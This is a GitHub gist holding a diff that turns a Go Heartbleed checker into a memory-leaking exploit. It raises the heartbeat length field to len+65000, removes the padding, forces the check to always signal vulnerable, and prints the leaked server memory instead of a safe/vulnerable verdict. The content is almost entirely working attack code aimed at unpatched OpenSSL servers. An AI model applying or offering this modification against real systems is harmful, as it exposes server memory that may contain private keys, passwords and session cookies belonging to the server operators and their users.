Skip to content

Instantly share code, notes, and snippets.

@libc
Created April 8, 2014 15:42
Show Gist options
  • Save libc/10145283 to your computer and use it in GitHub Desktop.
Save libc/10145283 to your computer and use it in GitHub Desktop.
diff --git a/bleed.go b/bleed.go
index 68ed4ba..2039ac1 100644
--- a/bleed.go
+++ b/bleed.go
@@ -7,16 +7,16 @@ import (
)
func main() {
- out, err := bleed.Heartbleed(os.Args[1], []byte("heartbleed.filippo.io"))
- if err == bleed.ErrPayloadNotFound {
- log.Printf("%v - SAFE", os.Args[1])
- os.Exit(0)
- } else if err != nil {
- log.Printf("%v - ERROR: %v", os.Args[1], err)
- os.Exit(2)
- } else {
+ out, _ := bleed.Heartbleed(os.Args[1], []byte("heartbleed.filippo.io"))
+ //if err == bleed.ErrPayloadNotFound {
+ //log.Printf("%v - SAFE", os.Args[1])
+ //os.Exit(0)
+ //} else if err != nil {
+ //log.Printf("%v - ERROR: %v", os.Args[1], err)
+ //os.Exit(2)
+ //} else {
log.Printf("%v\n", string(out))
- log.Printf("%v - VULNERABLE", os.Args[1])
- os.Exit(1)
- }
+ //log.Printf("%v - VULNERABLE", os.Args[1])
+ //os.Exit(1)
+ //}
}
diff --git a/bleed/heartbleed.go b/bleed/heartbleed.go
index afe8b41..6423d03 100644
--- a/bleed/heartbleed.go
+++ b/bleed/heartbleed.go
@@ -25,7 +25,7 @@ func buildEvilMessage(payload []byte) []byte {
if err != nil {
panic(err)
}
- err = binary.Write(&buf, binary.BigEndian, uint16(len(payload)+100))
+ err = binary.Write(&buf, binary.BigEndian, uint16(len(payload)+65000))
if err != nil {
panic(err)
}
@@ -33,10 +33,10 @@ func buildEvilMessage(payload []byte) []byte {
if err != nil {
panic(err)
}
- _, err = buf.Write(padding)
- if err != nil {
- panic(err)
- }
+ //_, err = buf.Write(padding)
+ //if err != nil {
+ //panic(err)
+ //}
return buf.Bytes()
}
@@ -44,7 +44,7 @@ func heartbleedCheck(conn *tls.Conn, buf *bytes.Buffer, vuln chan bool) func([]b
return func(data []byte) {
spew.Fdump(buf, data)
if bytes.Index(data, padding) == -1 {
- vuln <- false
+ vuln <- true
} else {
vuln <- true
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment